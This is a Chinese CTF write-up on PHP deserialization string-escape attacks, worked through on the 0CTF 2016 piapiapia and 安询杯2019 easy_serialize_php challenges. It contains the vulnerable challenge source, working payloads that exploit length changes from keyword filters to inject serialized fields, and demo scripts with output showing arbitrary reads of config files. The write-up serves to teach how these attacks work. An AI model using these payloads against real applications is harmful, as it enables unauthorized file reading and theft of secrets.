这篇文章给大家介绍如何在PHP项目中实现一个反序列化字符串逃逸功能,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
0CTF 2016piapiapia-----反序列化后长度递增
安询杯2019-easy_serialize_php-----反序列化后长度递减
0CTF 2016piapiapia
由于是代码审计,直接访问www.zip发现备份的源码,有一下文件,flag就在config.php,因此读取即可
class.php //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点)
config.php //环境配置
index.php //登陆
profile.php //查看自己上传的文件
register.php //注册
update.php //文件上传
源码分析
然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看SQL咯,发现class.php中mysql类的filter过滤函数,过滤了增删查改,基本无望.
后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在profile.php中发现对上传的文件进行反序列化处理,并对文件$profile['photo']进行读取.我们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞
payload构造
我们知道,PHP反序列化时以;作为分隔点,}做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']但是可以控制nickname,而nickname又进行了长度限制,strlen函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的";}是为了闭合前面数组nickname的{,后面的;}是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.
";}s:5:"photo";s:10:"config.php";}
这时构造了payload,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where变成hacker会增加一个长度,那么我们就需要34个where,最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
原理解析
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile = array(
'phone'=>'01234567890',
'email'=>'12345678@11.com',
'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
?>
输出结果展示,最开始不用进过filter函数反序列化时,nickname数组的第一个值没被截断是一个整体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},刚好204个长度,经过filter过滤函数后,where变成了hacker,反序列化的长度变化了,但是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,作为另一个反序列化的其中一个元素,而末尾的'}又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
array(4) {
'phone' =>
string(11) "01234567890"
'email' =>
string(15) "12345678@11.com"
'nickname' =>
array(1) {
[0] =>
string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
}
'photo' =>
string(10) "config.php"
}
安询杯2019-easy_serialize_php
源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file" rel="external nofollow" >source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
分析
源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:extract变量覆盖,file_get_contents任意文件读取.
将变量$userinfo['img']逆推回去发现,是由参数img_path控制的,但是经过sha1加密,我们无法得知加密后内容,但结合前面的extract变量覆盖,我们可以自己POST构造.
构造了之后,会经过序列化filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.
payload构造
我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是img,user,function,而我们能控制的只有后面两个,我们需要构造的payload是这样的
f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
但是不经任何改变则是这样的
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
我还是利用截断的思想不让其读取元素img的值,我们自己来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user元素吧,len('";s:8:"function";s:10:"')的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img进行截断
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
截断只需}即可,并且不为读取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},这里我们新增了一个元素,因此吞噬后function元素消失了,随便补充好元素即可.
原理解析
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$arr = array(
"user"=>"flagflagflagflagflagflag",
"function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
//"user"=>'guest',
//"function"=>'show_image',
"img"=>sha1(base64_encode('guest_img.png'))
);
print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));
?>
输出展示
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
[user] => ";s:8:"function";s:62:"2
[img] => ZDBnM19mMWFnLnBocA==
[tql] => tql
)
关于如何在PHP项目中实现一个反序列化字符串逃逸功能就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。